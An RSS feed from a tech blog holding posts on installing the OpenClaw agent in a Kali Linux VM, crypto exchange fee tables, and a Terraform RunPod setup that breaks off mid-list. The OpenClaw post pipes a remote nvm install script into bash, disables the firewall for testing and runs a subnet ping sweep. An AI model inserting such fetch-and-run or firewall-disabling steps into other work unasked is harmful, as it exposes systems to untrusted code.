<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on Lean Deep Tech blog</title>
        <link>https://leandeep.com/posts/</link>
        <description>Recent content in Posts on Lean Deep Tech blog</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>fr</language>
        <copyright>&lt;a href=&#34;https://creativecommons.org/licenses/by-nc/4.0/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CC BY-NC 4.0&lt;/a&gt;</copyright>
        <lastBuildDate>Mon, 20 Apr 2026 19:15:00 +0000</lastBuildDate>
        <atom:link href="https://leandeep.com/posts/index.xml" rel="self" type="application/rss+xml" />
        
        <item>
            <title>Openclaw on Kali Linux</title>
            <link>https://leandeep.com/openclaw-on-kali-linux/</link>
            <pubDate>Mon, 20 Apr 2026 19:15:00 +0000</pubDate>
            
            <guid>https://leandeep.com/openclaw-on-kali-linux/</guid>
            <description>&lt;h2 id=&#34;0-prepare-kali&#34;&gt;0. Prepare Kali&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Setup SSH&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt install -y openssh-server vim

# uncomment line with ListenAddress 0.0.0.0
sudo vim /etc/ssh/sshd_config

sudo systemctl start ssh
sudo systemctl enable ssh

ip a
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;1-install-openclaw-on-kali-linux&#34;&gt;1. Install Openclaw on Kali Linux&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;For this setup I isolated Kali in a VM. So it&amp;rsquo;s a dedicated host with dedicated VM. Here are the commands to manage the hypervisor. I used Virtualbox but you can use faster ones ofc like firecracker. In my case I wanted super simplicity.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="0-prepare-kali">0. Prepare Kali</h2>
<p><strong>Setup SSH</strong></p>
<pre tabindex="0"><code>sudo apt update
sudo apt install -y openssh-server vim

# uncomment line with ListenAddress 0.0.0.0
sudo vim /etc/ssh/sshd_config

sudo systemctl start ssh
sudo systemctl enable ssh

ip a
</code></pre><br/>
<h2 id="1-install-openclaw-on-kali-linux">1. Install Openclaw on Kali Linux</h2>
<blockquote>
<p>For this setup I isolated Kali in a VM. So it&rsquo;s a dedicated host with dedicated VM. Here are the commands to manage the hypervisor. I used Virtualbox but you can use faster ones ofc like firecracker. In my case I wanted super simplicity.</p></blockquote>
<br/>
<p><strong>Manage VM</strong></p>
<pre tabindex="0"><code># List VMs
VBoxManage list vms

# Start VM
VBoxManage startvm &#34;kali openclaw&#34;  --type headless

# Stop VM
VBoxManage controlvm &#34;kali openclaw&#34; acpipowerbutton

# Force stop VM
VBoxManage controlvm &#34;kali openclaw&#34; poweroff

# Get IP
VBoxManage guestproperty get &#34;kali openclaw&#34; &#34;/VirtualBox/GuestInfo/Net/0/V4/IP&#34;

# Get the VM IP &#34;the hard way&#34;
nmap -sn 192.168.1.0/24 # OR arp -a

# Clone VM
VBoxManage clonevm &#34;kali openclaw Backup setup OK&#34; --name &#34;kali openclaw&#34; --mode all --register

# Delete a VM
VBoxManage list runningvms
VBoxManage controlvm &#34;kali openclaw&#34; poweroff
VBoxManage unregistervm &#34;kali openclaw&#34; --delete
</code></pre><br/>
<p><strong>Setup Openclaw</strong></p>
<pre tabindex="0"><code># node 24 needed
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
</code></pre><br/>
<p>Add in the <code>~/.zshrc</code> and source it</p>
<pre tabindex="0"><code>export NVM_DIR=&#34;$HOME/.nvm&#34;
[ -s &#34;$NVM_DIR/nvm.sh&#34; ] &amp;&amp; \. &#34;$NVM_DIR/nvm.sh&#34;  # This loads nvm
[ -s &#34;$NVM_DIR/bash_completion&#34; ] &amp;&amp; \. &#34;$NVM_DIR/bash_completion&#34;  # This loads nvm bash_completion
</code></pre><br/>
<pre tabindex="0"><code>nvm list-remote
nvm install v24.14.1
nvm use v24.14.1
nvm use default v24.14.1
npm install -g openclaw@v2026.4.15
</code></pre><br/>
<h2 id="2-openclaw-configuration">2. OpenClaw Configuration</h2>
<pre tabindex="0"><code>openclaw onboard --install-daemon

# I understand this is personal-by-default and shared/multi-user use requires lock-down. Continue?
Yes

# Setup mode
Manual

# What do you want to set up?
Local gateway

# Workspace directory
Keep default

# Model/auth provider
OpenRouter -&gt; openrouter/openai/gpt-4o-mini

# Gateway port
Custom

# Gateway bind
Loopback

# Gateway auth
Token

# Tailscale
Off

# How do you want to provide the gateway token?
Generate/store plaintext token (Default)

# Gateway token (blank to generate)
blank

# Configure chat channels now?
Yes

# Select a channel
Telegram

# Create a bot using @BotFather
# Get the bot token

# Configure DM access policies now? (default: pairing)
Yes Pairing

# Telegram DM policy
Allowlist (specific users only)

# Telegram allowFrom
Enter your username ID -&gt; Get my user ID -&gt; Via @UserInfoBot

# Search provider
skip for now

# Plugins
skip for now

# Skills
skip for now

# Enable hooks?
Select all

# Gateway service runtime
Node

# Enable zsh shell completion for openclaw?
Yes
</code></pre><br/>
<h2 id="3-test">3. Test</h2>
<pre tabindex="0"><code>openclaw dashboard
openclaw tui
</code></pre><br/>
<h2 id="quickly-change-api-key-model-network-config">Quickly change API key, model, network config</h2>
<p>Edit <code>vim ~/.openclaw/openclaw.json</code> and restart:</p>
<pre tabindex="0"><code># Restrict access to 192.168.1.0/24 or only one host
systemctl --user restart openclaw-gateway.service
</code></pre><blockquote>
<p>If needed for the firewall</p>
<pre tabindex="0"><code>sudo ufw allow 18789 # or custom port
# Or authorise the LAN: sudo ufw allow from 192.168.1.0/24 to any port 18789
# refuse the rest: sudo ufw deny 18789
sudo ufw disable # for quick test
</code></pre></blockquote>
<br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<pre tabindex="0"><code>systemctl --user status openclaw-gateway.service
systemctl --user restart openclaw-gateway.service
tail -f /tmp/openclaw/...log
DEBUG=agent,llm,openrouter npx openclaw tui

Issue I had and manual fix applied:
https://github.com/openclaw/openclaw/issues/68076#issuecomment-4267446040
</code></pre><br/>
<h2 id="restart-setup">Restart setup</h2>
<pre tabindex="0"><code>rm -rf ~/.npm/_npx
rm -rf ~/.openclaw
# Or trash your VM
</code></pre><br/>
<h2 id="output-once-running">Output once running</h2>
<pre tabindex="0"><code>hi

HEARTBEAT_OK

comment vas-tu ?

Je vais bien, merci ! Et toi ? Comment ça se passe ?
 gateway connected | idle
 agent main | session main (openclaw-tui) | openrouter/openai/gpt-4o-mini | tokens 12k/200k (6%)
──────────────────────────────────────────────────────────────────────────────────────────────────
</code></pre><br/>
<h2 id="conclusion">Conclusion</h2>
<p>This product is not yet ready for production, but it&rsquo;s interesting to explore it as it&rsquo;s one starting point for building agents. I plan to use it to replace expensive services with local, private AI.</p>
<p>It will also allow me to automate certain everyday tasks, like an assistant that doesn’t send all my data to the cloud.</p>
<p>In a future article, we’ll look at how to leverage these skills alongside Kali tools to automate security audits. There may also be another article focused on private AI.</p>
<p>I’ll have a badass private instance running 24/7 within the next two weeks. I’m going to add a highly interactive and fun assistant to it. More to come.</p>
]]></content>
        </item>
        
        <item>
            <title>Frais de trading sur exchanges crypto</title>
            <link>https://leandeep.com/frais-de-trading-sur-exchanges-crypto/</link>
            <pubDate>Thu, 02 Apr 2026 21:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/frais-de-trading-sur-exchanges-crypto/</guid>
            <description>&lt;h2 id=&#34;crypto-deposit&#34;&gt;Crypto deposit&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Presque toujours GRATUIT&lt;/p&gt;&lt;/blockquote&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Exchange&lt;/th&gt;
          &lt;th&gt;Frais de dépôt&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Binance&lt;/td&gt;
          &lt;td&gt;Gratuit&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Coinbase&lt;/td&gt;
          &lt;td&gt;Gratuit&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Kraken&lt;/td&gt;
          &lt;td&gt;Gratuit&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Bybit&lt;/td&gt;
          &lt;td&gt;Gratuit&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;OKX&lt;/td&gt;
          &lt;td&gt;Gratuit&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;BitMEX&lt;/td&gt;
          &lt;td&gt;Gratuit&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Deribit&lt;/td&gt;
          &lt;td&gt;Gratuit&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;dYdX&lt;/td&gt;
          &lt;td&gt;Gratuit &lt;em&gt;(gas on-chain à payer)&lt;/em&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Hyperliquid&lt;/td&gt;
          &lt;td&gt;Gratuit &lt;em&gt;(gas on-chain à payer)&lt;/em&gt;&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br/&gt;
&lt;br/&gt;&lt;/p&gt;
&lt;h2 id=&#34;fiat-deposit-eur-usd--fiat--crypto-retraits&#34;&gt;Fiat deposit (EUR, USD) &amp;amp; Fiat + Crypto Retraits&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th style=&#34;text-align: left&#34;&gt;Exchange&lt;/th&gt;
          &lt;th style=&#34;text-align: center&#34;&gt;Virement bancaire (dépôt EUR)&lt;/th&gt;
          &lt;th style=&#34;text-align: center&#34;&gt;Carte bancaire (dépôt EUR)&lt;/th&gt;
          &lt;th style=&#34;text-align: center&#34;&gt;Retrait vers banque (EUR)&lt;/th&gt;
          &lt;th style=&#34;text-align: left&#34;&gt;Retrait crypto (exemples typiques)&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Binance&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~1 €&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~1,8–2 %&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~1 €&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais réseau : BTC ~0,0004 BTC, USDT TRC‑20 ~1 USDT, USDT ERC‑20 ~2–5 USDT&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;BitMEX&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais réseau : BTC ~0,000051 BTC, retrait min. 0,002 BTC&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Coinbase&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Gratuit&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~3,99 %&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Gratuit / quasi gratuit&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais variables : BTC ~3–5 $, ETH ~10–20 $, USDC ERC‑20 ~3–5 $&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Hyperliquid&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais réseau uniquement (selon blockchain utilisée)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Deribit&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais réseau variables : BTC ~0,0005 BTC, ETH ~0,002 ETH&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;dYdX&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Pas de FIAT direct&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais réseau uniquement (Ethereum ou L2)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;OKX&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~0–5 €&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~3–4 %&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~0–5 €&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais réseau : BTC ~1–25 $, ETH ERC‑20 ~5–50 $, USDT TRC‑20 ~1 $&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Bybit&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~0–5 €&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~3–5 %&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~0–5 €&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais réseau : BTC ~0,0003–0,0005 BTC, ETH ~0,003–0,005 ETH, USDT BEP‑20 ~1 $, USDT TRC‑20 ~1 $&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Kraken&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Gratuit&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;~3,75 %&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Gratuit / faible frais&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;Gratuit plateforme, frais fixes + réseau : BTC ~0,00005 BTC (~2–3 $), ETH ~0,0025 ETH (~5–8 $)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br/&gt;
&lt;br/&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="crypto-deposit">Crypto deposit</h2>
<blockquote>
<p>Presque toujours GRATUIT</p></blockquote>
<table>
  <thead>
      <tr>
          <th>Exchange</th>
          <th>Frais de dépôt</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Binance</td>
          <td>Gratuit</td>
      </tr>
      <tr>
          <td>Coinbase</td>
          <td>Gratuit</td>
      </tr>
      <tr>
          <td>Kraken</td>
          <td>Gratuit</td>
      </tr>
      <tr>
          <td>Bybit</td>
          <td>Gratuit</td>
      </tr>
      <tr>
          <td>OKX</td>
          <td>Gratuit</td>
      </tr>
      <tr>
          <td>BitMEX</td>
          <td>Gratuit</td>
      </tr>
      <tr>
          <td>Deribit</td>
          <td>Gratuit</td>
      </tr>
      <tr>
          <td>dYdX</td>
          <td>Gratuit <em>(gas on-chain à payer)</em></td>
      </tr>
      <tr>
          <td>Hyperliquid</td>
          <td>Gratuit <em>(gas on-chain à payer)</em></td>
      </tr>
  </tbody>
</table>
<p><br/>
<br/></p>
<h2 id="fiat-deposit-eur-usd--fiat--crypto-retraits">Fiat deposit (EUR, USD) &amp; Fiat + Crypto Retraits</h2>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Exchange</th>
          <th style="text-align: center">Virement bancaire (dépôt EUR)</th>
          <th style="text-align: center">Carte bancaire (dépôt EUR)</th>
          <th style="text-align: center">Retrait vers banque (EUR)</th>
          <th style="text-align: left">Retrait crypto (exemples typiques)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">Binance</td>
          <td style="text-align: center">~1 €</td>
          <td style="text-align: center">~1,8–2 %</td>
          <td style="text-align: center">~1 €</td>
          <td style="text-align: left">Gratuit plateforme, frais réseau : BTC ~0,0004 BTC, USDT TRC‑20 ~1 USDT, USDT ERC‑20 ~2–5 USDT</td>
      </tr>
      <tr>
          <td style="text-align: left">BitMEX</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: left">Gratuit plateforme, frais réseau : BTC ~0,000051 BTC, retrait min. 0,002 BTC</td>
      </tr>
      <tr>
          <td style="text-align: left">Coinbase</td>
          <td style="text-align: center">Gratuit</td>
          <td style="text-align: center">~3,99 %</td>
          <td style="text-align: center">Gratuit / quasi gratuit</td>
          <td style="text-align: left">Gratuit plateforme, frais variables : BTC ~3–5 $, ETH ~10–20 $, USDC ERC‑20 ~3–5 $</td>
      </tr>
      <tr>
          <td style="text-align: left">Hyperliquid</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: left">Gratuit plateforme, frais réseau uniquement (selon blockchain utilisée)</td>
      </tr>
      <tr>
          <td style="text-align: left">Deribit</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: left">Gratuit plateforme, frais réseau variables : BTC ~0,0005 BTC, ETH ~0,002 ETH</td>
      </tr>
      <tr>
          <td style="text-align: left">dYdX</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: center">Pas de FIAT direct</td>
          <td style="text-align: left">Gratuit plateforme, frais réseau uniquement (Ethereum ou L2)</td>
      </tr>
      <tr>
          <td style="text-align: left">OKX</td>
          <td style="text-align: center">~0–5 €</td>
          <td style="text-align: center">~3–4 %</td>
          <td style="text-align: center">~0–5 €</td>
          <td style="text-align: left">Gratuit plateforme, frais réseau : BTC ~1–25 $, ETH ERC‑20 ~5–50 $, USDT TRC‑20 ~1 $</td>
      </tr>
      <tr>
          <td style="text-align: left">Bybit</td>
          <td style="text-align: center">~0–5 €</td>
          <td style="text-align: center">~3–5 %</td>
          <td style="text-align: center">~0–5 €</td>
          <td style="text-align: left">Gratuit plateforme, frais réseau : BTC ~0,0003–0,0005 BTC, ETH ~0,003–0,005 ETH, USDT BEP‑20 ~1 $, USDT TRC‑20 ~1 $</td>
      </tr>
      <tr>
          <td style="text-align: left">Kraken</td>
          <td style="text-align: center">Gratuit</td>
          <td style="text-align: center">~3,75 %</td>
          <td style="text-align: center">Gratuit / faible frais</td>
          <td style="text-align: left">Gratuit plateforme, frais fixes + réseau : BTC ~0,00005 BTC (~2–3 $), ETH ~0,0025 ETH (~5–8 $)</td>
      </tr>
  </tbody>
</table>
<p><br/>
<br/></p>
<h2 id="trades-orders">Trades (orders)</h2>
<h3 id="spot-fee-schedule">Spot Fee Schedule</h3>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Exchange</th>
          <th style="text-align: left">Tier</th>
          <th style="text-align: center">Maker</th>
          <th style="text-align: center">Taker</th>
          <th style="text-align: left">Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">Bybit</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: center">0.10%</td>
          <td style="text-align: center">0.10%</td>
          <td style="text-align: left">—</td>
      </tr>
      <tr>
          <td style="text-align: left">Binance</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: center">0.10%</td>
          <td style="text-align: center">0.10%</td>
          <td style="text-align: left">25% off with BNB</td>
      </tr>
      <tr>
          <td style="text-align: left">OKX</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: center">0.08%</td>
          <td style="text-align: center">0.10%</td>
          <td style="text-align: left">—</td>
      </tr>
      <tr>
          <td style="text-align: left">Bitget</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: center">0.10%</td>
          <td style="text-align: center">0.10%</td>
          <td style="text-align: left">20% off with BGB</td>
      </tr>
      <tr>
          <td style="text-align: left">Kraken</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: center">0.25%</td>
          <td style="text-align: center">0.40%</td>
          <td style="text-align: left">Fiat pairs higher</td>
      </tr>
  </tbody>
</table>
<br/>
<h3 id="futures-fee-schedule-2026--usdtmargined-perpetual">Futures Fee Schedule (2026) – USDT‑margined perpetual</h3>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Exchange</th>
          <th style="text-align: left">Tier</th>
          <th style="text-align: left">30d Volume</th>
          <th style="text-align: center">Maker</th>
          <th style="text-align: center">Taker</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">Bybit</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: left">&lt; $10M</td>
          <td style="text-align: center">0.02%</td>
          <td style="text-align: center">0.055%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">VIP 1</td>
          <td style="text-align: left">$10M+</td>
          <td style="text-align: center">0.018%</td>
          <td style="text-align: center">0.04%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">VIP 2</td>
          <td style="text-align: left">$25M+</td>
          <td style="text-align: center">0.014%</td>
          <td style="text-align: center">0.0375%</td>
      </tr>
      <tr>
          <td style="text-align: left">Binance</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: left">&lt; $5M</td>
          <td style="text-align: center">0.02%</td>
          <td style="text-align: center">0.05%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">VIP 1</td>
          <td style="text-align: left">$5M+</td>
          <td style="text-align: center">0.016%</td>
          <td style="text-align: center">0.04%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">VIP 2</td>
          <td style="text-align: left">$25M+</td>
          <td style="text-align: center">0.014%</td>
          <td style="text-align: center">0.035%</td>
      </tr>
      <tr>
          <td style="text-align: left">OKX</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: left">&lt; $5M</td>
          <td style="text-align: center">0.02%</td>
          <td style="text-align: center">0.05%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">VIP 1</td>
          <td style="text-align: left">$5M+</td>
          <td style="text-align: center">0.015%</td>
          <td style="text-align: center">0.04%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">VIP 2</td>
          <td style="text-align: left">$25M+</td>
          <td style="text-align: center">0.01%</td>
          <td style="text-align: center">0.035%</td>
      </tr>
      <tr>
          <td style="text-align: left">Bitget</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: left">&lt; $5M</td>
          <td style="text-align: center">0.02%</td>
          <td style="text-align: center">0.06%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">VIP 1</td>
          <td style="text-align: left">$5M+</td>
          <td style="text-align: center">0.018%</td>
          <td style="text-align: center">0.04%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">VIP 2</td>
          <td style="text-align: left">$20M+</td>
          <td style="text-align: center">0.014%</td>
          <td style="text-align: center">0.035%</td>
      </tr>
      <tr>
          <td style="text-align: left">Kraken</td>
          <td style="text-align: left">Regular</td>
          <td style="text-align: left">&lt; $100K</td>
          <td style="text-align: center">0.02%</td>
          <td style="text-align: center">0.05%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">Intermediate</td>
          <td style="text-align: left">$100K+</td>
          <td style="text-align: center">0.015%</td>
          <td style="text-align: center">0.04%</td>
      </tr>
      <tr>
          <td style="text-align: left"></td>
          <td style="text-align: left">Advanced</td>
          <td style="text-align: left">$1M+</td>
          <td style="text-align: center">0.01%</td>
          <td style="text-align: center">0.03%</td>
      </tr>
  </tbody>
</table>
<p><br/>
<br/></p>


<a href="https://traderssecondbrain.com/tools/exchange-fees" target="_blank" rel="noopener noreferrer">
  Petit outil bien sympa
</a>

]]></content>
        </item>
        
        <item>
            <title>Terraform runpod openclaw [dev setup]</title>
            <link>https://leandeep.com/terraform-runpod-openclaw-dev-setup/</link>
            <pubDate>Mon, 02 Mar 2026 18:15:00 +0000</pubDate>
            
            <guid>https://leandeep.com/terraform-runpod-openclaw-dev-setup/</guid>
            <description>&lt;h2 id=&#34;1-installer-terraform-sur-macos&#34;&gt;1. Installer Terraform sur macOS&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew tap hashicorp/tap
brew install hashicorp/tap/terraform
terraform --version
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;2-obtenir-une-clé-api-runpod&#34;&gt;2. Obtenir une clé API RunPod&lt;/h2&gt;
&lt;p&gt;Rendez-vous sur &lt;a href=&#34;https://www.runpod.io/console/user/settings&#34;&gt;https://www.runpod.io/console/user/settings&lt;/a&gt;
&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Sectionnez &lt;code&gt;API Keys&lt;/code&gt; &lt;code&gt;→&lt;/code&gt; &lt;code&gt;Create API Key (permissions Read/Write)&lt;/code&gt;
&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Copiez la clé et exportez-la: &lt;br/&gt;
&lt;code&gt;export RUNPOD_API_KEY=&amp;quot;rp_xxxxxxxxxxxxxxxxxxxxxxxx&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;3-fichiers-terraform&#34;&gt;3. Fichiers Terraform&lt;/h2&gt;
&lt;p&gt;Créez un dossier openclaw-runpod/ et place-y ces 3 fichiers:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;vim openclaw-runpod/variables.tf&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;variable &amp;#34;runpod_api_key&amp;#34; {
  description = &amp;#34;RunPod API key&amp;#34;
  type        = string
  sensitive   = true
  default     = &amp;#34;&amp;#34;
}

variable &amp;#34;ssh_public_key&amp;#34; {
  description = &amp;#34;SSH public key for secure access&amp;#34;
  type        = string
}

variable &amp;#34;pod_name&amp;#34; {
  description = &amp;#34;Name of the RunPod pod&amp;#34;
  type        = string
  default     = &amp;#34;openclaw&amp;#34;
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;code&gt;vim openclaw-runpod/main.tf&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="1-installer-terraform-sur-macos">1. Installer Terraform sur macOS</h2>
<pre tabindex="0"><code>brew tap hashicorp/tap
brew install hashicorp/tap/terraform
terraform --version
</code></pre><br/>
<h2 id="2-obtenir-une-clé-api-runpod">2. Obtenir une clé API RunPod</h2>
<p>Rendez-vous sur <a href="https://www.runpod.io/console/user/settings">https://www.runpod.io/console/user/settings</a>
<br/></p>
<p>Sectionnez <code>API Keys</code> <code>→</code> <code>Create API Key (permissions Read/Write)</code>
<br/></p>
<p>Copiez la clé et exportez-la: <br/>
<code>export RUNPOD_API_KEY=&quot;rp_xxxxxxxxxxxxxxxxxxxxxxxx&quot;</code></p>
<br/>
<h2 id="3-fichiers-terraform">3. Fichiers Terraform</h2>
<p>Créez un dossier openclaw-runpod/ et place-y ces 3 fichiers:</p>
<p><code>vim openclaw-runpod/variables.tf</code></p>
<pre tabindex="0"><code>variable &#34;runpod_api_key&#34; {
  description = &#34;RunPod API key&#34;
  type        = string
  sensitive   = true
  default     = &#34;&#34;
}

variable &#34;ssh_public_key&#34; {
  description = &#34;SSH public key for secure access&#34;
  type        = string
}

variable &#34;pod_name&#34; {
  description = &#34;Name of the RunPod pod&#34;
  type        = string
  default     = &#34;openclaw&#34;
}
</code></pre><br/>
<p><code>vim openclaw-runpod/main.tf</code></p>
<pre tabindex="0"><code>terraform {
  required_providers {
    runpod = {
      source  = &#34;decentralized-infrastructure/runpod&#34;
      version = &#34;1.0.1&#34;
    }
  }
}

provider &#34;runpod&#34; {}

resource &#34;runpod_pod&#34; &#34;openclaw&#34; {
  name       = var.pod_name
  image_name = &#34;runpod/pytorch:2.1.0-py3.10-cuda11.8.0-devel&#34;

  gpu_type_ids = [
    &#34;NVIDIA RTX A4000&#34;,
    &#34;NVIDIA RTX A4500&#34;,
    &#34;NVIDIA GeForce RTX 3090&#34;,
    &#34;NVIDIA GeForce RTX 4070 Ti&#34;,
